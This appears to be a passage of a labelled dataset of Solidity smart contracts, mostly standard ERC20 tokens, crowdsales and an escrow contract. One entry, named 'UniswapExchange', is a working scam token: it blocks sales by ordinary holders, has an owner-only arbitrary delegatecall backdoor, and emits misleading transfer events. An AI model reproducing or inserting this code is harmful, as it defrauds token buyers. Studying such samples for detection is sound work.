bool public tokenSaleClosed = false;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
modifier inProgress {
require(totalSupply < tokenSaleHardCap
&& !tokenSaleClosed);
_;
}
modifier beforeEnd {
require(!tokenSaleClosed);
_;
}
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {
tokenSaleHardCap = 121000000 * 10**uint256(decimals);
baseRate = 100 * 10**uint256(decimals);
}
function () public payable {
purchaseTokens(msg.sender);
}
function purchaseTokens(address _beneficiary) public payable inProgress{
require(msg.value >= 0.01 ether);
uint _tokens = computeTokenAmount(msg.value);
doIssueTokens(_beneficiary, _tokens);
owner.transfer(address(this).balance);
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyAuthorized public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyAuthorized public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setRatePrices(uint256 newRate) onlyAuthorized public {
baseRate = newRate;
}
function setTokenSaleHardCap(uint256 newTokenSaleHardCap) onlyAuthorized public {
tokenSaleHardCap = newTokenSaleHardCap;
}
function doIssueTokens(address _beneficiary, uint256 _tokens) internal {
require(_beneficiary != address(0));
balanceOf[_beneficiary] += _tokens;
totalSupply += _tokens;
emit Transfer(0, this, _tokens);
emit Transfer(this, _beneficiary, _tokens);
}
function computeTokenAmount(uint256 ethAmount) internal view returns (uint256) {
uint256 tokens = ethAmount.mul(baseRate) / 10**uint256(decimals);
return tokens;
}
function collect() external onlyAuthorized {
owner.transfer(address(this).balance);
}
function getBalance() public view onlyAuthorized returns (uint) {
return address(this).balance;
}
function close() public onlyAuthorized beforeEnd {
tokenSaleClosed = true;
owner.transfer(address(this).balance);
}
function openSale() public onlyAuthorized{
tokenSaleClosed = false;
}
} | 1 | 3,344 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract THRD is StandardToken {
string public name = "THRD Coin";
string public symbol = "THRD";
uint public decimals = 2;
uint public INITIAL_SUPPLY = 20000000000;
function THRD() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 1 | 5,042 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,253 |
pragma solidity ^0.4.19;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract CryptoTask is Ownable {
uint MAX_UINT32 = 4294967295;
uint public MIN_TASK_VALUE = 200000000000000000000;
uint public CLIENT_TIME_TO_DECIDE = 3 days;
uint public VOTING_PERIOD = 5 days;
struct Task {
address client;
address fl;
uint taskValue;
uint workTime;
uint applyTime;
uint solutionSubmittedTime;
uint disputeStartedTime;
bytes32 blockHash;
mapping(address => bytes32) voteCommits;
mapping(uint32 => uint32) votes;
mapping(uint32 => address) voters;
uint32 votesTotal;
uint32 votesClient;
uint32 votesFl;
uint32 stage;
uint prev;
uint next;
}
mapping(uint => string) public titles;
mapping(uint => string) public descriptions;
mapping(uint => string) public solutions;
mapping(uint => uint) public disputeBlockNos;
ERC20 public tokenContract = ERC20(0x4545750F39aF6Be4F237B6869D4EccA928Fd5A85);
bool public migrating;
mapping(address => uint32) public ADs;
mapping(uint => Task) public tasks;
uint public tasksSize;
uint public lastTaskIndex;
mapping(address => uint) public stakes;
mapping(address => uint) public lastStakings;
uint public totalStake;
function setMigrating(bool willMigrate) onlyOwner {
migrating = willMigrate;
}
function setMinTaskValue(uint minTaskValue) onlyOwner {
MIN_TASK_VALUE = minTaskValue;
}
function postTask(string title, string description, uint taskValue, uint workTime) {
require(!migrating && taskValue > MIN_TASK_VALUE);
tasksSize++;
tasks[tasksSize].client = msg.sender;
titles[tasksSize] = title;
tasks[tasksSize].workTime = workTime;
tasks[tasksSize].taskValue = taskValue;
descriptions[tasksSize] = description;
tasks[tasksSize].prev = lastTaskIndex;
if(lastTaskIndex > 0) {
tasks[lastTaskIndex].next = tasksSize;
}
lastTaskIndex = tasksSize;
tokenContract.transferFrom(msg.sender, this, taskValue + taskValue/10);
}
function applyForTask(uint taskID) {
require(tasks[taskID].stage == 0 && tasks[taskID].client != address(0));
tasks[taskID].fl = msg.sender;
tasks[taskID].applyTime = now;
tasks[taskID].stage = 1;
tokenContract.transferFrom(msg.sender, this, tasks[taskID].taskValue/10);
}
function submitSolution(uint taskID, string solution) {
require(tasks[taskID].stage == 1 && msg.sender == tasks[taskID].fl && now < tasks[taskID].applyTime + tasks[taskID].workTime);
solutions[taskID] = solution;
tasks[taskID].solutionSubmittedTime = now;
tasks[taskID].stage = 2;
}
function startDispute(uint taskID) {
require(tasks[taskID].stage == 2 && tasks[taskID].client == msg.sender && now < tasks[taskID].solutionSubmittedTime + CLIENT_TIME_TO_DECIDE);
disputeBlockNos[taskID] = block.number;
tasks[taskID].stage = 3;
}
function commitDispute(uint taskID) {
require(tasks[taskID].stage == 3 && tasks[taskID].client == msg.sender && now < tasks[taskID].solutionSubmittedTime + CLIENT_TIME_TO_DECIDE && block.number > disputeBlockNos[taskID]+5);
tasks[taskID].blockHash = block.blockhash(disputeBlockNos[taskID]);
tasks[taskID].disputeStartedTime = now;
tasks[taskID].stage = 4;
}
function commitVote(uint taskID, bytes32 voteHash) {
require(tasks[taskID].stage == 4 && now < tasks[taskID].disputeStartedTime + VOTING_PERIOD && tasks[taskID].voteCommits[msg.sender] == bytes32(0));
tasks[taskID].voteCommits[msg.sender] = voteHash;
}
function revealVote(uint taskID, uint8 v, bytes32 r, bytes32 s, uint32 vote, bytes32 salt) {
require(tasks[taskID].stage == 4 && now > tasks[taskID].disputeStartedTime + VOTING_PERIOD+100 && now < tasks[taskID].disputeStartedTime + 2*VOTING_PERIOD && tasks[taskID].voteCommits[msg.sender] != bytes32(0));
if(ecrecover(keccak256(taskID, tasks[taskID].blockHash), v, r, s) == msg.sender && (10*MAX_UINT32)/(uint(s) % (MAX_UINT32+1)) > totalStake/stakes[msg.sender] && lastStakings[msg.sender] < tasks[taskID].disputeStartedTime && keccak256(salt, vote) == tasks[taskID].voteCommits[msg.sender]) {
if(vote==1) {
tasks[taskID].votesClient++;
} else if(vote==2) {
tasks[taskID].votesFl++;
} else {
throw;
}
tasks[taskID].votes[tasks[taskID].votesTotal] = vote;
tasks[taskID].voters[tasks[taskID].votesTotal] = msg.sender;
tasks[taskID].votesTotal++;
tasks[taskID].voteCommits[msg.sender] = bytes32(0);
}
}
function finalizeTask(uint taskID) {
uint taskValueTenth = tasks[taskID].taskValue/10;
uint reviewerReward;
uint32 i;
if(tasks[taskID].stage == 0 && msg.sender == tasks[taskID].client) {
tokenContract.transfer(tasks[taskID].client, tasks[taskID].taskValue + taskValueTenth);
tasks[taskID].stage = 5;
}
else if(tasks[taskID].stage == 2 && msg.sender == tasks[taskID].client) {
tokenContract.transfer(tasks[taskID].fl, tasks[taskID].taskValue + taskValueTenth);
tokenContract.transfer(tasks[taskID].client, taskValueTenth);
tasks[taskID].stage = 6;
}
else if((tasks[taskID].stage == 2 || tasks[taskID].stage == 3) && now > tasks[taskID].solutionSubmittedTime + CLIENT_TIME_TO_DECIDE) {
tokenContract.transfer(tasks[taskID].fl, tasks[taskID].taskValue + 2*taskValueTenth);
tasks[taskID].stage = 7;
}
else if(tasks[taskID].stage == 4 && tasks[taskID].votesFl > tasks[taskID].votesClient && now > tasks[taskID].disputeStartedTime + 2*VOTING_PERIOD) {
tokenContract.transfer(tasks[taskID].fl, tasks[taskID].taskValue + taskValueTenth);
reviewerReward = taskValueTenth / tasks[taskID].votesFl;
for(i=0; i < tasks[taskID].votesTotal; i++) {
if(tasks[taskID].votes[i] == 2) {
tokenContract.transfer(tasks[taskID].voters[i], reviewerReward);
}
}
tasks[taskID].stage = 8;
}
else if(tasks[taskID].stage == 1 && now > tasks[taskID].applyTime + tasks[taskID].workTime) {
tokenContract.transfer(tasks[taskID].client, tasks[taskID].taskValue + 2*taskValueTenth);
tasks[taskID].stage = 9;
}
else if(tasks[taskID].stage == 4 && tasks[taskID].votesClient >= tasks[taskID].votesFl && now > tasks[taskID].disputeStartedTime + 2*VOTING_PERIOD) {
if(tasks[taskID].votesTotal == 0) {
tokenContract.transfer(tasks[taskID].client, tasks[taskID].taskValue + taskValueTenth);
tokenContract.transfer(tasks[taskID].fl, taskValueTenth);
} else {
tokenContract.transfer(tasks[taskID].client, tasks[taskID].taskValue + taskValueTenth);
reviewerReward = taskValueTenth / tasks[taskID].votesClient;
for(i=0; i < tasks[taskID].votesTotal; i++) {
if(tasks[taskID].votes[i] == 1) {
tokenContract.transfer(tasks[taskID].voters[i], reviewerReward);
}
}
}
tasks[taskID].stage = 10;
} else {
throw;
}
if(tasks[taskID].prev > 0) {
tasks[tasks[taskID].prev].next = tasks[taskID].next;
}
if(tasks[taskID].next > 0) {
tasks[tasks[taskID].next].prev = tasks[taskID].prev;
}
if(taskID == lastTaskIndex) {
lastTaskIndex = tasks[taskID].prev;
}
if(ADs[tasks[taskID].client] > 0) {
ADs[tasks[taskID].client]++;
}
if(ADs[tasks[taskID].fl] > 0) {
ADs[tasks[taskID].fl]++;
}
}
function addStake(uint value) {
if(value > 0) {
stakes[msg.sender] += value;
lastStakings[msg.sender] = now;
totalStake += value;
tokenContract.transferFrom(msg.sender, this, value);
}
}
function withdrawStake(uint value) {
if(value > 0 && stakes[msg.sender] >= value) {
if(ADs[msg.sender] > 0 && ADs[msg.sender] < 10) {
throw;
}
stakes[msg.sender] -= value;
lastStakings[msg.sender] = now;
totalStake -= value;
tokenContract.transfer(msg.sender, value);
}
}
function addStakeAD(uint value, address recipient) onlyOwner {
if(value > 0 && value > 1000*stakes[recipient]) {
stakes[recipient] += value;
lastStakings[recipient] = now;
totalStake += value;
ADs[recipient]++;
tokenContract.transferFrom(msg.sender, this, value);
}
}
function getVoteCommit(uint taskID, address commiter) constant returns (bytes32 commit) {
return tasks[taskID].voteCommits[commiter];
}
function getVote(uint taskID, uint32 index) constant returns (uint32 vote) {
return tasks[taskID].votes[index];
}
function getVoter(uint taskID, uint32 index) constant returns (address voter) {
return tasks[taskID].voters[index];
}
} | 1 | 2,781 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable{
event Mint(address indexed to, uint256 amount);
event MintFinished();
uint256 public tokensMinted = 0;
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
_amount = _amount * 1 ether;
require(tokensMinted.add(_amount)<=totalSupply);
tokensMinted = tokensMinted.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract WandToken is Ownable, MintableToken {
event TokenPreSaleTransfer(address indexed purchaser, address indexed beneficiary, uint256 amount);
string public constant name = "Wand Token";
string public constant symbol = "WAND";
uint8 public constant decimals = 18;
function WandToken(address _owner) {
totalSupply = 75 * 10**24;
tokensMinted = tokensMinted.add(20400000 * (1 ether));
balances[_owner] = 20400000 * 1 ether;
}
function batchTransfers(address[] _accounts, uint256[] _tokens) onlyOwner public returns (bool) {
require(_accounts.length > 0);
require(_accounts.length == _tokens.length);
for (uint i = 0; i < _accounts.length; i++) {
require(_accounts[i] != 0x0);
require(_tokens[i] > 0);
transfer(_accounts[i], _tokens[i] * 1 ether);
TokenPreSaleTransfer(msg.sender, _accounts[i], _tokens[i]);
}
return true;
}
function raiseInitialSupply(uint256 _supply) onlyOwner public returns (bool) {
totalSupply = totalSupply.add(_supply * 1 ether);
return true;
}
}
contract WandCrowdsale is Ownable
{
using SafeMath for uint256;
WandToken public token;
address public wallet;
bool public crowdSaleOn = false;
uint256 public cap = 0;
uint256 public startTime;
uint256 public endTime;
uint256 public weiRaised = 0;
uint256 public tokensMinted = 0;
uint256[] public discountedRates ;
uint256[] public crowsaleSlots ;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier activeCrowdSale() {
require(crowdSaleOn);
_;
}
modifier inactiveCrowdSale() {
require(!crowdSaleOn);
_;
}
function WandCrowdsale() {
wallet = msg.sender;
token = new WandToken(msg.sender);
}
function batchTransfers(address[] _accounts, uint256[] _tokens) onlyOwner public returns (bool) {
require(_accounts.length > 0);
require(_accounts.length == _tokens.length);
token.batchTransfers(_accounts,_tokens);
return true;
}
function raiseInitialSupply(uint256 _supply) onlyOwner public returns (bool) {
require(_supply > 0);
token.raiseInitialSupply(_supply);
return true;
}
function startCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _cap, uint256[] _crowsaleSlots, uint256[] _discountedRates) inactiveCrowdSale onlyOwner public returns (bool) {
require(_cap > 0);
require(_crowsaleSlots.length > 0);
require(_crowsaleSlots.length == _discountedRates.length);
require(_startTime >= uint256(now));
require( _endTime > _startTime);
cap = _cap * 1 ether;
startTime = _startTime;
endTime = _endTime;
crowdSaleOn = true;
weiRaised = 0;
tokensMinted = 0;
discountedRates = _discountedRates;
crowsaleSlots = _crowsaleSlots;
return true;
}
function endCrowdsale() activeCrowdSale onlyOwner public returns (bool) {
endTime = now;
if(tokensMinted < cap){
uint256 leftoverTokens = cap.sub(tokensMinted);
require(tokensMinted.add(leftoverTokens) <= cap);
tokensMinted = tokensMinted.add(leftoverTokens);
token.mint(owner, leftoverTokens.div(1 ether));
}
crowdSaleOn = false;
return true;
}
function findDiscount() constant private returns (uint256 _discountedRate) {
uint256 elapsedTime = now.sub(startTime);
for(uint i=0; i<crowsaleSlots.length; i++){
if(elapsedTime >= crowsaleSlots[i]) {
elapsedTime = elapsedTime.sub(crowsaleSlots[i]);
}
else {
_discountedRate = discountedRates[i];
break;
}
}
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) activeCrowdSale public payable {
require(beneficiary != 0x0);
require(now >= startTime);
require(now <= endTime);
require(msg.value != 0);
uint256 weiAmount = msg.value;
weiRaised = weiRaised.add(weiAmount);
var currentRate = findDiscount();
uint256 rate = uint256(1 * 1 ether).div(currentRate);
require(rate > 0);
uint256 numTokens = weiAmount.div(rate);
require(numTokens > 0);
require(tokensMinted.add(numTokens.mul(1 ether)) <= cap);
tokensMinted = tokensMinted.add(numTokens.mul(1 ether));
token.mint(beneficiary, numTokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, numTokens);
wallet.transfer(weiAmount);
}
} | 1 | 3,224 |
pragma solidity ^0.4.18;
library itMaps {
struct entryAddressUint {
uint keyIndex;
uint value;
}
struct itMapAddressUint {
mapping(address => entryAddressUint) data;
address[] keys;
}
function insert(itMapAddressUint storage self, address key, uint value) internal returns (bool replaced) {
entryAddressUint storage e = self.data[key];
e.value = value;
if (e.keyIndex > 0) {
return true;
} else {
e.keyIndex = ++self.keys.length;
self.keys[e.keyIndex - 1] = key;
return false;
}
}
function remove(itMapAddressUint storage self, address key) internal returns (bool success) {
entryAddressUint storage e = self.data[key];
if (e.keyIndex == 0)
return false;
if (e.keyIndex <= self.keys.length) {
self.data[self.keys[self.keys.length - 1]].keyIndex = e.keyIndex;
self.keys[e.keyIndex - 1] = self.keys[self.keys.length - 1];
self.keys.length -= 1;
delete self.data[key];
return true;
}
}
function destroy(itMapAddressUint storage self) internal {
for (uint i; i<self.keys.length; i++) {
delete self.data[ self.keys[i]];
}
delete self.keys;
return ;
}
function contains(itMapAddressUint storage self, address key) internal constant returns (bool exists) {
return self.data[key].keyIndex > 0;
}
function size(itMapAddressUint storage self) internal constant returns (uint) {
return self.keys.length;
}
function get(itMapAddressUint storage self, address key) internal constant returns (uint) {
return self.data[key].value;
}
